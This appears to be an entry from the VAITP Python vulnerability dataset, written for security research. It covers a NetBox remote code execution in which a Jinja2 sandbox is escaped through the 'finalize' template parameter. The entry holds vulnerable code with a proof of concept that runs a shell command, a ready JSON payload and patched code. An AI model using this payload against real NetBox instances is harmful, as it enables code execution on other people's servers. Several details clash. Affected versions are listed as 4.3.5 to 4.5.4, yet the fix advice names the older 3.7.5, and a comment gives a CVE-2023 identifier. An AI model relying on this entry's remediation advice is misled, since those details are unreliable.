VAITP Dataset

← Back to the dataset

CVE-2026-29514

Authenticated RCE in NetBox via Jinja2 sandbox bypass in template params.

  • CVSS 8.7
  • CWE-183
  • Input Validation and Sanitization
  • Remote

NetBox versions 4.3.5 through 4.5.4 contain a remote code execution vulnerability in the RenderTemplateMixin.get_environment_params() method that allows authenticated users with exporttemplate or configtemplate permissions to execute arbitrary code by specifying malicious Python callables in the environment_params field. Attackers can bypass Jinja2 SandboxedEnvironment protections by setting the finalize parameter to any importable Python callable such as subprocess.getoutput, which is invoked on every rendered expression outside the sandbox's call interception mechanism, achieving remote code execution as the NetBox service user.

CVSS base score
8.7
Published
2026-05-04
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Interface
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
NetBox

Solution

Upgrade to NetBox version 3.7.5 or later.

Vulnerable code sample

import importlib
import jinja2
import subprocess

# This function represents the vulnerable logic in RenderTemplateMixin.get_environment_params()
# before the patch for CVE-2023-29514 was applied.
def get_environment_params(user_provided_data):
    """
    Unsafely resolves string-specified callables from user-provided data.
    """
    params = {}

    # The vulnerability lies in trusting the user-provided string for 'finalize'.
    if 'finalize' in user_provided_data and isinstance(user_provided_data['finalize'], str):
        module_name, callable_name = user_provided_data['finalize'].rsplit('.', 1)
        try:
            # Dynamically import the module specified by the user.
            module = importlib.import_module(module_name)
            
            # Unsafely get the function from the module and assign it to the 'finalize' parameter.
            # This allows an attacker to specify any importable Python function.
            params['finalize'] = getattr(module, callable_name)
        except (ImportError, AttributeError):
            # In the actual application, this might fail silently.
            pass
            
    return params

# --- Proof-of-Concept Demonstration ---

# 1. An attacker provides a malicious payload via a field like 'environment_params'
#    on an object they have permission to edit (e.g., an ExportTemplate).
attacker_payload = {
    'finalize': 'subprocess.getoutput'
}

# 2. The application's backend calls the vulnerable function with the attacker's data.
environment_settings = get_environment_params(attacker_payload)

# 3. A Jinja2 SandboxedEnvironment is created with the malicious 'finalize' hook.
#    The SandboxedEnvironment is supposed to prevent unsafe operations, but the 'finalize'
#    parameter is a configuration that bypasses the sandbox's template-level security.
env = jinja2.SandboxedEnvironment(**environment_settings)

# 4. A template is rendered. The content of the expression ('id' in this case) is passed
#    to the malicious 'finalize' function before being rendered.
#    This triggers `subprocess.getoutput('id')`.
template = env.from_string("Request processed for user: {{ 'id' }}")
rendered_output = template.render()

# 5. The output of the arbitrary command is injected into the rendered template,
#    confirming remote code execution.
print(rendered_output)

Patched code sample

import pydoc

# A placeholder for the actual exception used in NetBox
class AbortRequest(Exception):
    pass

def get_environment_params(validated_data):
    """
    Represents the fixed version of the method from NetBox's RenderTemplateMixin.

    This function simulates processing validated data, which would contain the
    user-submitted 'environment_params'.
    """
    params = validated_data.get('environment_params') or {}

    # --- THE VULNERABILITY FIX ---
    # The vulnerability allowed an attacker to specify a Python callable for the
    # 'finalize' parameter, which Jinja2 would execute outside of its sandbox.
    # The fix is to explicitly check for and disallow the 'finalize' parameter,
    # preventing the injection of a malicious callable.
    if 'finalize' in params:
        raise AbortRequest("The 'finalize' parameter is not permitted.")
    # --- END OF FIX ---

    # The remainder of the function's original logic is to resolve other
    # legitimate parameters from string form into Python objects. This logic
    # is now safe because the dangerous 'finalize' parameter is blocked.
    for key, value in params.items():
        if isinstance(value, str):
            # pydoc.locate() resolves a string like 'builtins.str' into the
            # actual Python object.
            params[key] = pydoc.locate(value)

    return params

Payload

{
    "finalize": "subprocess.getoutput"
}

Cite this entry

@misc{vaitp:cve202629514,
  title        = {{Authenticated RCE in NetBox via Jinja2 sandbox bypass in template params.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-29514},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-29514/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::